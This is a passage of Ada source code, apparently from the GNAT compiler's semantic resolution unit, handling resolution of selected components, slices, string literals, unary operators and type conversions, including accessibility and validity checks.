fixed-point types (RM 4.9(38)). Stat := Is_Static_Expression (N); Rewrite (N, Make_Real_Literal (Sloc (N), Realval => Small_Value (Typ) * Cint)); Set_Is_Static_Expression (N, Stat); end if; -- In all cases, set the corresponding integer field Set_Corresponding_Integer_Value (N, Cint); end; end if; -- Now replace the actual type by the expected type as usual Set_Etype (N, Typ); Eval_Real_Literal (N); end Resolve_Real_Literal; ----------------------- -- Resolve_Reference -- ----------------------- procedure Resolve_Reference (N : Node_Id; Typ : Entity_Id) is P : constant Node_Id := Prefix (N); begin -- Replace general access with specific type if Ekind (Etype (N)) = E_Allocator_Type then Set_Etype (N, Base_Type (Typ)); end if; Resolve (P, Designated_Type (Etype (N))); -- If we are taking the reference of a volatile entity, then treat -- it as a potential modification of this entity. This is much too -- conservative, but is necessary because remove side effects can -- result in transformations of normal assignments into reference -- sequences that otherwise fail to notice the modification. if Is_Entity_Name (P) and then Is_Volatile (Entity (P)) then Note_Possible_Modification (P); end if; end Resolve_Reference; -------------------------------- -- Resolve_Selected_Component -- -------------------------------- procedure Resolve_Selected_Component (N : Node_Id; Typ : Entity_Id) is Comp : Entity_Id; Comp1 : Entity_Id := Empty; -- prevent junk warning P : constant Node_Id := Prefix (N); S : constant Node_Id := Selector_Name (N); T : Entity_Id := Etype (P); I : Interp_Index; I1 : Interp_Index := 0; -- prevent junk warning It : Interp; It1 : Interp; Found : Boolean; function Init_Component return Boolean; -- Check whether this is the initialization of a component within an -- init_proc (by assignment or call to another init_proc). If true, -- there is no need for a discriminant check. -------------------- -- Init_Component -- -------------------- function Init_Component return Boolean is begin return Inside_Init_Proc and then Nkind (Prefix (N)) = N_Identifier and then Chars (Prefix (N)) = Name_uInit and then Nkind (Parent (Parent (N))) = N_Case_Statement_Alternative; end Init_Component; -- Start of processing for Resolve_Selected_Component begin if Is_Overloaded (P) then -- Use the context type to select the prefix that has a selector -- of the correct name and type. Found := False; Get_First_Interp (P, I, It); Search : while Present (It.Typ) loop if Is_Access_Type (It.Typ) then T := Designated_Type (It.Typ); else T := It.Typ; end if; if Is_Record_Type (T) then Comp := First_Entity (T); while Present (Comp) loop if Chars (Comp) = Chars (S) and then Covers (Etype (Comp), Typ) then if not Found then Found := True; I1 := I; It1 := It; Comp1 := Comp; else It := Disambiguate (P, I1, I, Any_Type); if It = No_Interp then Error_Msg_N ("ambiguous prefix for selected component", N); Set_Etype (N, Typ); return; else It1 := It; if Scope (Comp1) /= It1.Typ then -- Resolution chooses the new interpretation. -- Find the component with the right name. Comp1 := First_Entity (It1.Typ); while Present (Comp1) and then Chars (Comp1) /= Chars (S) loop Comp1 := Next_Entity (Comp1); end loop; end if; exit Search; end if; end if; end if; Comp := Next_Entity (Comp); end loop; end if; Get_Next_Interp (I, It); end loop Search; Resolve (P, It1.Typ); Set_Etype (N, Typ); Set_Entity (S, Comp1); else -- Resolve prefix with its type. Resolve (P, T); end if; -- Deal with access type case if Is_Access_Type (Etype (P)) then Apply_Access_Check (N); T := Designated_Type (Etype (P)); else T := Etype (P); end if; if Has_Discriminants (T) and then Present (Original_Record_Component (Entity (S))) and then Ekind (Original_Record_Component (Entity (S))) = E_Component and then Present (Discriminant_Checking_Func (Original_Record_Component (Entity (S)))) and then not Discriminant_Checks_Suppressed (T) and then not Init_Component then Set_Do_Discriminant_Check (N); end if; if Ekind (Entity (S)) = E_Void then Error_Msg_N ("premature use of component", S); end if; -- If the prefix is a record conversion, this may be a renamed -- discriminant whose bounds differ from those of the original -- one, so we must ensure that a range check is performed. if Nkind (P) = N_Type_Conversion and then Ekind (Entity (S)) = E_Discriminant then Set_Etype (N, Base_Type (Typ)); end if; -- Note: No Eval processing is required, because the prefix is of a -- record type, or protected type, and neither can possibly be static. end Resolve_Selected_Component; ------------------- -- Resolve_Shift -- ------------------- procedure Resolve_Shift (N : Node_Id; Typ : Entity_Id) is B_Typ : constant Entity_Id := Base_Type (Typ); L : constant Node_Id := Left_Opnd (N); R : constant Node_Id := Right_Opnd (N); begin -- We do the resolution using the base type, because intermediate values -- in expressions always are of the base type, not a subtype of it. Resolve (L, B_Typ); Resolve (R, Standard_Natural); Check_Unset_Reference (L); Check_Unset_Reference (R); Set_Etype (N, B_Typ); Generate_Operator_Reference (N); Eval_Shift (N); end Resolve_Shift; --------------------------- -- Resolve_Short_Circuit -- --------------------------- procedure Resolve_Short_Circuit (N : Node_Id; Typ : Entity_Id) is B_Typ : constant Entity_Id := Base_Type (Typ); L : constant Node_Id := Left_Opnd (N); R : constant Node_Id := Right_Opnd (N); begin Resolve (L, B_Typ); Resolve (R, B_Typ); Check_Unset_Reference (L); Check_Unset_Reference (R); Set_Etype (N, B_Typ); Eval_Short_Circuit (N); end Resolve_Short_Circuit; ------------------- -- Resolve_Slice -- ------------------- procedure Resolve_Slice (N : Node_Id; Typ : Entity_Id) is Name : constant Node_Id := Prefix (N); Drange : constant Node_Id := Discrete_Range (N); Array_Type : Entity_Id := Empty; Index : Node_Id; begin if Is_Overloaded (Name) then -- Use the context type to select the prefix that yields the -- correct array type. declare I : Interp_Index; I1 : Interp_Index := 0; It : Interp; P : constant Node_Id := Prefix (N); Found : Boolean := False; begin Get_First_Interp (P, I, It); while Present (It.Typ) loop if (Is_Array_Type (It.Typ) and then Covers (Typ, It.Typ)) or else (Is_Access_Type (It.Typ) and then Is_Array_Type (Designated_Type (It.Typ)) and then Covers (Typ, Designated_Type (It.Typ))) then if Found then It := Disambiguate (P, I1, I, Any_Type); if It = No_Interp then Error_Msg_N ("ambiguous prefix for slicing", N); Set_Etype (N, Typ); return; else Found := True; Array_Type := It.Typ; I1 := I; end if; else Found := True; Array_Type := It.Typ; I1 := I; end if; end if; Get_Next_Interp (I, It); end loop; end; else Array_Type := Etype (Name); end if; Resolve (Name, Array_Type); if Is_Access_Type (Array_Type) then Apply_Access_Check (N); Array_Type := Designated_Type (Array_Type); elsif Is_Entity_Name (Name) or else (Nkind (Name) = N_Function_Call and then not Is_Constrained (Etype (Name))) then Array_Type := Get_Actual_Subtype (Name); end if; -- If name was overloaded, set slice type correctly now Set_Etype (N, Array_Type); -- If the range is specified by a subtype mark, no resolution -- is necessary. if not Is_Entity_Name (Drange) then Index := First_Index (Array_Type); Resolve (Drange, Base_Type (Etype (Index))); if Nkind (Drange) = N_Range then Apply_Range_Check (Drange, Etype (Index)); end if; end if; Set_Slice_Subtype (N); Eval_Slice (N); end Resolve_Slice; ---------------------------- -- Resolve_String_Literal -- ---------------------------- procedure Resolve_String_Literal (N : Node_Id; Typ : Entity_Id) is C_Typ : constant Entity_Id := Component_Type (Typ); R_Typ : constant Entity_Id := Root_Type (C_Typ); Loc : constant Source_Ptr := Sloc (N); Str : constant String_Id := Strval (N); Strlen : constant Nat := String_Length (Str); Subtype_Id : Entity_Id; Need_Check : Boolean; begin -- For a string appearing in a concatenation, defer creation of the -- string_literal_subtype until the end of the resolution of the -- concatenation, because the literal may be constant-folded away. -- This is a useful optimization for long concatenation expressions. -- If the string is an aggregate built for a single character (which -- happens in a non-static context) or a is null string to which special -- checks may apply, we build the subtype. Wide strings must also get -- a string subtype if they come from a one character aggregate. Strings -- generated by attributes might be static, but it is often hard to -- determine whether the enclosing context is static, so we generate -- subtypes for them as well, thus losing some rarer optimizations ??? -- Same for strings that come from a static conversion. Need_Check := (Strlen = 0 and then Typ /= Standard_String) or else Nkind (Parent (N)) /= N_Op_Concat or else (N /= Left_Opnd (Parent (N)) and then N /= Right_Opnd (Parent (N))) or else (Typ = Standard_Wide_String and then Nkind (Original_Node (N)) /= N_String_Literal); -- If the resolving type is itself a string literal subtype, we -- can just reuse it, since there is no point in creating another. if Ekind (Typ) = E_String_Literal_Subtype then Subtype_Id := Typ; elsif Nkind (Parent (N)) = N_Op_Concat and then not Need_Check and then Nkind (Original_Node (N)) /= N_Character_Literal and then Nkind (Original_Node (N)) /= N_Attribute_Reference and then Nkind (Original_Node (N)) /= N_Qualified_Expression and then Nkind (Original_Node (N)) /= N_Type_Conversion then Subtype_Id := Typ; -- Otherwise we must create a string literal subtype. Note that the -- whole idea of string literal subtypes is simply to avoid the need -- for building a full fledged array subtype for each literal. else Set_String_Literal_Subtype (N, Typ); Subtype_Id := Etype (N); end if; if Nkind (Parent (N)) /= N_Op_Concat or else Need_Check then Set_Etype (N, Subtype_Id); Eval_String_Literal (N); end if; if Is_Limited_Composite (Typ) or else Is_Private_Composite (Typ) then Error_Msg_N ("string literal not available for private array", N); Set_Etype (N, Any_Type); return; end if; -- The validity of a null string has been checked in the -- call to Eval_String_Literal. if Strlen = 0 then return; -- Always accept string literal with component type Any_Character, -- which occurs in error situations and in comparisons of literals, -- both of which should accept all literals. elsif R_Typ = Any_Character then return; -- If the type is bit-packed, then we always tranform the string -- literal into a full fledged aggregate. elsif Is_Bit_Packed_Array (Typ) then null; -- Deal with cases of Wide_String and String else -- For Standard.Wide_String, or any other type whose component -- type is Standard.Wide_Character, we know that all the -- characters in the string must be acceptable, since the parser -- accepted the characters as valid character literals. if R_Typ = Standard_Wide_Character then null; -- For the case of Standard.String, or any other type whose -- component type is Standard.Character, we must make sure that -- there are no wide characters in the string, i.e. that it is -- entirely composed of characters in range of type String. -- If the string literal is the result of a static concatenation, -- the test has already been performed on the components, and need -- not be repeated. elsif R_Typ = Standard_Character and then Nkind (Original_Node (N)) /= N_Op_Concat then for J in 1 .. Strlen loop if not In_Character_Range (Get_String_Char (Str, J)) then -- If we are out of range, post error. This is one of the -- very few places that we place the flag in the middle of -- a token, right under the offending wide character. Error_Msg ("literal out of range of type Character", Source_Ptr (Int (Loc) + J)); return; end if; end loop; -- If the root type is not a standard character, then we will convert -- the string into an aggregate and will let the aggregate code do -- the checking. else null; end if; -- See if the component type of the array corresponding to the -- string has compile time known bounds. If yes we can directly -- check whether the evaluation of the string will raise constraint -- error. Otherwise we need to transform the string literal into -- the corresponding character aggregate and let the aggregate -- code do the checking. if R_Typ = Standard_Wide_Character or else R_Typ = Standard_Character then -- Check for the case of full range, where we are definitely OK if Component_Type (Typ) = Base_Type (Component_Type (Typ)) then return; end if; -- Here the range is not the complete base type range, so check declare Comp_Typ_Lo : constant Node_Id := Type_Low_Bound (Component_Type (Typ)); Comp_Typ_Hi : constant Node_Id := Type_High_Bound (Component_Type (Typ)); Char_Val : Uint; begin if Compile_Time_Known_Value (Comp_Typ_Lo) and then Compile_Time_Known_Value (Comp_Typ_Hi) then for J in 1 .. Strlen loop Char_Val := UI_From_Int (Int (Get_String_Char (Str, J))); if Char_Val < Expr_Value (Comp_Typ_Lo) or else Char_Val > Expr_Value (Comp_Typ_Hi) then Apply_Compile_Time_Constraint_Error (N, "character out of range?", Loc => Source_Ptr (Int (Loc) + J)); end if; end loop; return; end if; end; end if; end if; -- If we got here we meed to transform the string literal into the -- equivalent qualified positional array aggregate. This is rather -- heavy artillery for this situation, but it is hard work to avoid. declare Lits : List_Id := New_List; P : Source_Ptr := Loc + 1; C : Char_Code; begin -- Build the character literals, we give them source locations -- that correspond to the string positions, which is a bit tricky -- given the possible presence of wide character escape sequences. for J in 1 .. Strlen loop C := Get_String_Char (Str, J); Set_Character_Literal_Name (C); Append_To (Lits, Make_Character_Literal (P, Name_Find, C)); if In_Character_Range (C) then P := P + 1; -- Should we have a call to Skip_Wide here ??? -- ??? else -- Skip_Wide (P); end if; end loop; Rewrite (N, Make_Qualified_Expression (Loc, Subtype_Mark => New_Reference_To (Typ, Loc), Expression => Make_Aggregate (Loc, Expressions => Lits))); Analyze_And_Resolve (N, Typ); end; end Resolve_String_Literal; ----------------------------- -- Resolve_Subprogram_Info -- ----------------------------- procedure Resolve_Subprogram_Info (N : Node_Id; Typ : Entity_Id) is begin Set_Etype (N, Typ); end Resolve_Subprogram_Info; ----------------------------- -- Resolve_Type_Conversion -- ----------------------------- procedure Resolve_Type_Conversion (N : Node_Id; Typ : Entity_Id) is Target_Type : constant Entity_Id := Etype (N); Conv_OK : constant Boolean := Conversion_OK (N); Operand : Node_Id; Opnd_Type : Entity_Id; Rop : Node_Id; begin Operand := Expression (N); if not Conv_OK and then not Valid_Conversion (N, Target_Type, Operand) then return; end if; if Etype (Operand) = Any_Fixed then -- Mixed-mode operation involving a literal. Context must be a fixed -- type which is applied to the literal subsequently. if Is_Fixed_Point_Type (Typ) then Set_Etype (Operand, Universal_Real); elsif Is_Numeric_Type (Typ) and then (Nkind (Operand) = N_Op_Multiply or else Nkind (Operand) = N_Op_Divide) and then (Etype (Right_Opnd (Operand)) = Universal_Real or else Etype (Left_Opnd (Operand)) = Universal_Real) then if Unique_Fixed_Point_Type (N) = Any_Type then return; -- expression is ambiguous. else Set_Etype (Operand, Standard_Duration); end if; if Etype (Right_Opnd (Operand)) = Universal_Real then Rop := New_Copy_Tree (Right_Opnd (Operand)); else Rop := New_Copy_Tree (Left_Opnd (Operand)); end if; Resolve (Rop, Standard_Long_Long_Float); if Realval (Rop) /= Ureal_0 and then abs (Realval (Rop)) < Delta_Value (Standard_Duration) then Error_Msg_N ("universal real operand can only be interpreted?", Rop); Error_Msg_N ("\as Duration, and will lose precision?", Rop); end if; else Error_Msg_N ("invalid context for mixed mode operation", N); Set_Etype (Operand, Any_Type); return; end if; end if; Opnd_Type := Etype (Operand); Resolve (Operand, Opnd_Type); -- Note: we do the Eval_Type_Conversion call before applying the -- required checks for a subtype conversion. This is important, -- since both are prepared under certain circumstances to change -- the type conversion to a constraint error node, but in the case -- of Eval_Type_Conversion this may reflect an illegality in the -- static case, and we would miss the illegality (getting only a -- warning message), if we applied the type conversion checks first. Eval_Type_Conversion (N); -- If after evaluation, we still have a type conversion, then we -- may need to apply checks required for a subtype conversion. -- Skip these type conversion checks if universal fixed operands -- operands involved, since range checks are handled separately for -- these cases (in the appropriate Expand routines in unit Exp_Fixd). if Nkind (N) = N_Type_Conversion and then not Is_Generic_Type (Root_Type (Target_Type)) and then Target_Type /= Universal_Fixed and then Opnd_Type /= Universal_Fixed then Apply_Type_Conversion_Checks (N); end if; -- Issue warning for conversion of simple object to its own type if Warn_On_Redundant_Constructs and then Comes_From_Source (N) and then Nkind (N) = N_Type_Conversion and then Is_Entity_Name (Expression (N)) and then Etype (Entity (Expression (N))) = Target_Type then Error_Msg_NE ("?useless conversion, & has this type", N, Entity (Expression (N))); end if; end Resolve_Type_Conversion; ---------------------- -- Resolve_Unary_Op -- ---------------------- procedure Resolve_Unary_Op (N : Node_Id; Typ : Entity_Id) is B_Typ : Entity_Id := Base_Type (Typ); R : constant Node_Id := Right_Opnd (N); begin -- Generate warning for expressions like -5 mod 3 if Paren_Count (N) = 0 and then Nkind (N) = N_Op_Minus and then Nkind (Right_Opnd (N)) = N_Op_Mod then Error_Msg_N ("?unary minus expression should be parenthesized here", N); end if; if Etype (R) = Universal_Integer or else Etype (R) = Universal_Real then Check_For_Visible_Operator (N, B_Typ); end if; Set_Etype (N, B_Typ); Resolve (R, B_Typ); Check_Unset_Reference (R); Generate_Operator_Reference (N); Eval_Unary_Op (N); -- Set overflow checking bit. Much cleverer code needed here eventually -- and perhaps the Resolve routines should be separated for the various -- arithmetic operations, since they will need different processing ??? if Nkind (N) in N_Op then if not Overflow_Checks_Suppressed (Etype (N)) then Set_Do_Overflow_Check (N, True); end if; end if; end Resolve_Unary_Op; ---------------------------------- -- Resolve_Unchecked_Expression -- ---------------------------------- procedure Resolve_Unchecked_Expression (N : Node_Id; Typ : Entity_Id) is begin Resolve (Expression (N), Typ, Suppress => All_Checks); Set_Etype (N, Typ); end Resolve_Unchecked_Expression; --------------------------------------- -- Resolve_Unchecked_Type_Conversion -- --------------------------------------- procedure Resolve_Unchecked_Type_Conversion (N : Node_Id; Typ : Entity_Id) is Operand : constant Node_Id := Expression (N); Opnd_Type : constant Entity_Id := Etype (Operand); begin -- Resolve operand using its own type. Resolve (Operand, Opnd_Type); Eval_Unchecked_Conversion (N); end Resolve_Unchecked_Type_Conversion; ------------------------------ -- Rewrite_Operator_As_Call -- ------------------------------ procedure Rewrite_Operator_As_Call (N : Node_Id; Nam : Entity_Id) is Loc : Source_Ptr := Sloc (N); Actuals : List_Id := New_List; New_N : Node_Id; begin if Nkind (N) in N_Binary_Op then Append (Left_Opnd (N), Actuals); end if; Append (Right_Opnd (N), Actuals); New_N := Make_Function_Call (Sloc => Loc, Name => New_Occurrence_Of (Nam, Loc), Parameter_Associations => Actuals); Preserve_Comes_From_Source (New_N, N); Preserve_Comes_From_Source (Name (New_N), N); Rewrite (N, New_N); Set_Etype (N, Etype (Nam)); end Rewrite_Operator_As_Call; ------------------------------ -- Rewrite_Renamed_Operator -- ------------------------------ procedure Rewrite_Renamed_Operator (N : Node_Id; Op : Entity_Id) is Nam : constant Name_Id := Chars (Op); Is_Binary : constant Boolean := Nkind (N) in N_Binary_Op; Op_Node : Node_Id; begin if Chars (N) /= Nam then -- Rewrite the operator node using the real operator, not its -- renaming. Op_Node := New_Node (Operator_Kind (Nam, Is_Binary), Sloc (N)); Set_Chars (Op_Node, Nam); Set_Etype (Op_Node, Etype (N)); Set_Entity (Op_Node, Op); Set_Right_Opnd (Op_Node, Right_Opnd (N)); Generate_Reference (Op, N); if Is_Binary then Set_Left_Opnd (Op_Node, Left_Opnd (N)); end if; Rewrite (N, Op_Node); end if; end Rewrite_Renamed_Operator; ----------------------- -- Set_Slice_Subtype -- ----------------------- -- Build an implicit subtype declaration to represent the type delivered -- by the slice. This is an abbreviated version of an array subtype. We -- define an index subtype for the slice, using either the subtype name -- or the discrete range of the slice. To be consistent with index usage -- elsewhere, we create a list header to hold the single index. This list -- is not otherwise attached to the syntax tree. procedure Set_Slice_Subtype (N : Node_Id) is Loc : constant Source_Ptr := Sloc (N); Index : Node_Id; Index_List : List_Id := New_List; Index_Subtype : Entity_Id; Index_Type : Entity_Id; Slice_Subtype : Entity_Id; Drange : constant Node_Id := Discrete_Range (N); begin if Is_Entity_Name (Drange) then Index_Subtype := Entity (Drange); else -- We force the evaluation of a range. This is definitely needed in -- the renamed case, and seems safer to do unconditionally. Note in -- any case that since we will create and insert an Itype referring -- to this range, we must make sure any side effect removal actions -- are inserted before the Itype definition. if Nkind (Drange) = N_Range then Force_Evaluation (Low_Bound (Drange)); Force_Evaluation (High_Bound (Drange)); end if; Index_Type := Base_Type (Etype (Drange)); Index_Subtype := Create_Itype (Subtype_Kind (Ekind (Index_Type)), N); Set_Scalar_Range (Index_Subtype, Drange); Set_Etype (Index_Subtype, Index_Type); Set_Size_Info (Index_Subtype, Index_Type); Set_RM_Size (Index_Subtype, RM_Size (Index_Type)); end if; Slice_Subtype := Create_Itype (E_Array_Subtype, N); Index := New_Occurrence_Of (Index_Subtype, Loc); Set_Etype (Index, Index_Subtype); Append (Index, Index_List); Set_Component_Type (Slice_Subtype, Component_Type (Etype (N))); Set_First_Index (Slice_Subtype, Index); Set_Etype (Slice_Subtype, Base_Type (Etype (N))); Set_Is_Constrained (Slice_Subtype, True); Init_Size_Align (Slice_Subtype); Check_Compile_Time_Size (Slice_Subtype); -- The Etype of the existing Slice node is reset to this slice -- subtype. Its bounds are obtained from its first index. Set_Etype (N, Slice_Subtype); -- In the packed case, this must be immediately frozen -- Couldn't we always freeze here??? and if we did, then the above -- call to Check_Compile_Time_Size could be eliminated, which would -- be nice, because then that routine could be made private to Freeze. if Is_Packed (Slice_Subtype) and not In_Default_Expression then Freeze_Itype (Slice_Subtype, N); end if; end Set_Slice_Subtype; -------------------------------- -- Set_String_Literal_Subtype -- -------------------------------- procedure Set_String_Literal_Subtype (N : Node_Id; Typ : Entity_Id) is Subtype_Id : Entity_Id; begin if Nkind (N) /= N_String_Literal then return; else Subtype_Id := Create_Itype (E_String_Literal_Subtype, N); end if; Set_Component_Type (Subtype_Id, Component_Type (Typ)); Set_String_Literal_Length (Subtype_Id, UI_From_Int (String_Length (Strval (N)))); Set_Etype (Subtype_Id, Base_Type (Typ)); Set_Is_Constrained (Subtype_Id); -- The low bound is set from the low bound of the corresponding -- index type. Note that we do not store the high bound in the -- string literal subtype, but it can be deduced if necssary -- from the length and the low bound. Set_String_Literal_Low_Bound (Subtype_Id, Type_Low_Bound (Etype (First_Index (Typ)))); Set_Etype (N, Subtype_Id); end Set_String_Literal_Subtype; ----------------------------- -- Unique_Fixed_Point_Type -- ----------------------------- function Unique_Fixed_Point_Type (N : Node_Id) return Entity_Id is T1 : Entity_Id := Empty; T2 : Entity_Id; Item : Node_Id; Scop : Entity_Id; procedure Fixed_Point_Error; -- If true ambiguity, give details. procedure Fixed_Point_Error is begin Error_Msg_N ("ambiguous universal_fixed_expression", N); Error_Msg_NE ("\possible interpretation as}", N, T1); Error_Msg_NE ("\possible interpretation as}", N, T2); end Fixed_Point_Error; begin -- The operations on Duration are visible, so Duration is always a -- possible interpretation. T1 := Standard_Duration; Scop := Current_Scope; -- Look for fixed-point types in enclosing scopes. while Scop /= Standard_Standard loop T2 := First_Entity (Scop); while Present (T2) loop if Is_Fixed_Point_Type (T2) and then Current_Entity (T2) = T2 and then Scope (Base_Type (T2)) = Scop then if Present (T1) then Fixed_Point_Error; return Any_Type; else T1 := T2; end if; end if; Next_Entity (T2); end loop; Scop := Scope (Scop); end loop; -- Look for visible fixed type declarations in the context. Item := First (Context_Items (Cunit (Current_Sem_Unit))); while Present (Item) loop if Nkind (Item) = N_With_Clause then Scop := Entity (Name (Item)); T2 := First_Entity (Scop); while Present (T2) loop if Is_Fixed_Point_Type (T2) and then Scope (Base_Type (T2)) = Scop and then (Is_Potentially_Use_Visible (T2) or else In_Use (T2)) then if Present (T1) then Fixed_Point_Error; return Any_Type; else T1 := T2; end if; end if; Next_Entity (T2); end loop; end if; Next (Item); end loop; if Nkind (N) = N_Real_Literal then Error_Msg_NE ("real literal interpreted as }?", N, T1); else Error_Msg_NE ("universal_fixed expression interpreted as }?", N, T1); end if; return T1; end Unique_Fixed_Point_Type; ---------------------- -- Valid_Conversion -- ---------------------- function Valid_Conversion (N : Node_Id; Target : Entity_Id; Operand : Node_Id) return Boolean is Target_Type : Entity_Id := Base_Type (Target); Opnd_Type : Entity_Id := Etype (Operand); function Conversion_Check (Valid : Boolean; Msg : String) return Boolean; -- Little routine to post Msg if Valid is False, returns Valid value function Valid_Tagged_Conversion (Target_Type : Entity_Id; Opnd_Type : Entity_Id) return Boolean; -- Specifically test for validity of tagged conversions ---------------------- -- Conversion_Check -- ---------------------- function Conversion_Check (Valid : Boolean; Msg : String) return Boolean is begin if not Valid then Error_Msg_N (Msg, Operand); end if; return Valid; end Conversion_Check; ----------------------------- -- Valid_Tagged_Conversion -- ----------------------------- function Valid_Tagged_Conversion (Target_Type : Entity_Id; Opnd_Type : Entity_Id) return Boolean is begin -- Upward conversions are allowed (RM 4.6(22)). if Covers (Target_Type, Opnd_Type) or else Is_Ancestor (Target_Type, Opnd_Type) then return True; -- Downward conversion are allowed if the operand is -- is class-wide (RM 4.6(23)). elsif Is_Class_Wide_Type (Opnd_Type) and then Covers (Opnd_Type, Target_Type) then return True; elsif Covers (Opnd_Type, Target_Type) or else Is_Ancestor (Opnd_Type, Target_Type) then return Conversion_Check (False, "downward conversion of tagged objects not allowed"); else Error_Msg_NE ("invalid tagged conversion, not compatible with}", N, First_Subtype (Opnd_Type)); return False; end if; end Valid_Tagged_Conversion; -- Start of processing for Valid_Conversion begin Check_Parameterless_Call (Operand); if Is_Overloaded (Operand) then declare I : Interp_Index; I1 : Interp_Index; It : Interp; It1 : Interp; N1 : Entity_Id; begin -- Remove procedure calls, which syntactically cannot appear -- in this context, but which cannot be removed by type checking, -- because the context does not impose a type. Get_First_Interp (Operand, I, It); while Present (It.Typ) loop if It.Typ = Standard_Void_Type then Remove_Interp (I); end if; Get_Next_Interp (I, It); end loop; Get_First_Interp (Operand, I, It); I1 := I; It1 := It; if No (It.Typ) then Error_Msg_N ("illegal operand in conversion", Operand); return False; end if; Get_Next_Interp (I, It); if Present (It.Typ) then N1 := It1.Nam; It1 := Disambiguate (Operand, I1, I, Any_Type); if It1 = No_Interp then Error_Msg_N ("ambiguous operand in conversion", Operand); Error_Msg_Sloc := Sloc (It.Nam); Error_Msg_N ("possible interpretation#!", Operand); Error_Msg_Sloc := Sloc (N1); Error_Msg_N ("possible interpretation#!", Operand); return False; end if; end if; Set_Etype (Operand, It1.Typ); Opnd_Type := It1.Typ; end; end if; if Chars (Current_Scope) = Name_Unchecked_Conversion then -- This check is dubious, what if there were a user defined -- scope whose name was Unchecked_Conversion ??? return True; elsif Is_Numeric_Type (Target_Type) then if Opnd_Type = Universal_Fixed then return True; else return Conversion_Check (Is_Numeric_Type (Opnd_Type), "illegal operand for numeric conversion"); end if; elsif Is_Array_Type (Target_Type) then if not Is_Array_Type (Opnd_Type) or else Opnd_Type = Any_Composite or else Opnd_Type = Any_String then Error_Msg_N ("illegal operand for array conversion", Operand); return False; elsif Number_Dimensions (Target_Type) /= Number_Dimensions (Opnd_Type) then Error_Msg_N ("incompatible number of dimensions for conversion", Operand); return False; else declare Target_Index : Node_Id := First_Index (Target_Type); Opnd_Index : Node_Id := First_Index (Opnd_Type); Target_Index_Type : Entity_Id; Opnd_Index_Type : Entity_Id; Target_Comp_Type : Entity_Id := Component_Type (Target_Type); Opnd_Comp_Type : Entity_Id := Component_Type (Opnd_Type); begin while Present (Target_Index) and then Present (Opnd_Index) loop Target_Index_Type := Etype (Target_Index); Opnd_Index_Type := Etype (Opnd_Index); if not (Is_Integer_Type (Target_Index_Type) and then Is_Integer_Type (Opnd_Index_Type)) and then (Root_Type (Target_Index_Type) /= Root_Type (Opnd_Index_Type)) then Error_Msg_N ("incompatible index types for array conversion", Operand); return False; end if; Next_Index (Target_Index); Next_Index (Opnd_Index); end loop; if Base_Type (Target_Comp_Type) /= Base_Type (Opnd_Comp_Type) then Error_Msg_N ("incompatible component types for array conversion", Operand); return False; elsif Is_Constrained (Target_Comp_Type) /= Is_Constrained (Opnd_Comp_Type) or else not Subtypes_Statically_Match (Target_Comp_Type, Opnd_Comp_Type) then Error_Msg_N ("component subtypes must statically match", Operand); return False; end if; end; end if; return True; elsif (Ekind (Target_Type) = E_General_Access_Type or else Ekind (Target_Type) = E_Anonymous_Access_Type) and then Conversion_Check (Is_Access_Type (Opnd_Type) and then Ekind (Opnd_Type) /= E_Access_Subprogram_Type and then Ekind (Opnd_Type) /= E_Access_Protected_Subprogram_Type, "must be an access-to-object type") then if Is_Access_Constant (Opnd_Type) and then not Is_Access_Constant (Target_Type) then Error_Msg_N ("access-to-constant operand type not allowed", Operand); return False; end if; -- Check the static accessibility rule of 4.6(17). Note that -- the check is not enforced when within an instance body, since -- the RM requires such cases to be caught at run time. if Ekind (Target_Type) /= E_Anonymous_Access_Type then if Type_Access_Level (Opnd_Type) > Type_Access_Level (Target_Type) then -- In an instance, this is a run-time check, but one we -- know will fail, so generate an appropriate warning. -- The raise will be generated by Expand_N_Type_Conversion. if In_Instance_Body then Error_Msg_N ("?cannot convert local pointer to non-local access type", Operand); Error_Msg_N ("?Program_Error will be raised at run time", Operand); else Error_Msg_N ("cannot convert local pointer to non-local access type", Operand); return False; end if; elsif Ekind (Opnd_Type) = E_Anonymous_Access_Type then -- When the operand is a selected access discriminant -- the check needs to be made against the level of the -- object denoted by the prefix of the selected name. -- (Object_Access_Level handles checking the prefix -- of the operand for this case.) if Nkind (Operand) = N_Selected_Component and then Object_Access_Level (Operand) > Type_Access_Level (Target_Type) then -- In an instance, this is a run-time check, but one we -- know will fail, so generate an appropriate warning. -- The raise will be generated by Expand_N_Type_Conversion. if In_Instance_Body then Error_Msg_N ("?cannot convert access discriminant to non-local" & " access type", Operand); Error_Msg_N ("?Program_Error will be raised at run time", Operand); else Error_Msg_N ("cannot convert access discriminant to non-local" & " access type", Operand); return False; end if; end if; -- The case of a reference to an access discriminant -- from within a type declaration (which will appear -- as a discriminal) is always illegal because the -- level of the discriminant is considered to be -- deeper than any (namable) access type. if Is_Entity_Name (Operand) and then (Ekind (Entity (Operand)) = E_In_Parameter or else Ekind (Entity (Operand)) = E_Constant) and then Present (Discriminal_Link (Entity (Operand))) then Error_Msg_N ("discriminant has deeper accessibility level than target", Operand); return False; end if; end if; end if; declare Target : constant Entity_Id := Designated_Type (Target_Type); Opnd : constant Entity_Id := Designated_Type (Opnd_Type); begin if Is_Tagged_Type (Target) then return Valid_Tagged_Conversion (Target, Opnd); else if Base_Type (Target) /= Base_Type (Opnd) then Error_Msg_NE ("target designated type not compatible with }", N, Base_Type (Opnd)); return False; elsif not Subtypes_Statically_Match (Target, Opnd) and then (not Has_Discriminants (Target) or else Is_Constrained (Target)) then Error_Msg_NE ("target designated subtype not compatible with }", N, Opnd); return False; else return True; end if; end if; end; elsif Ekind (Target_Type) = E_Access_Subprogram_Type and then Conversion_Check (Ekind (Base_Type (Opnd_Type)) = E_Access_Subprogram_Type, "illegal operand for access subprogram conversion") then -- Check that the designated types are subtype conformant if not Subtype_Conformant (Designated_Type (Opnd_Type), Designated_Type (Target_Type)) then Error_Msg_N ("operand type is not subtype conformant with target type", Operand); end if; -- Check the static accessibility rule of 4.6(20) if Type_Access_Level (Opnd_Type) > Type_Access_Level (Target_Type) then Error_Msg_N ("operand type has deeper accessibility level than target", Operand); -- Check that if the operand type is declared in a generic body, -- then the target type must be declared within that same body -- (enforces last sentence of 4.6(20)). elsif Present (Enclosing_Generic_Body (Opnd_Type)) then declare O_Gen : constant Node_Id := Enclosing_Generic_Body (Opnd_Type); T_Gen : Node_Id := Enclosing_Generic_Body (Target_Type); begin while Present (T_Gen) and then T_Gen /= O_Gen loop T_Gen := Enclosing_Generic_Body (T_Gen); end loop; if T_Gen /= O_Gen then Error_Msg_N ("target type must be declared in same generic body" & " as operand type", N); end if; end; end if; return True; elsif Is_Remote_Access_To_Subprogram_Type 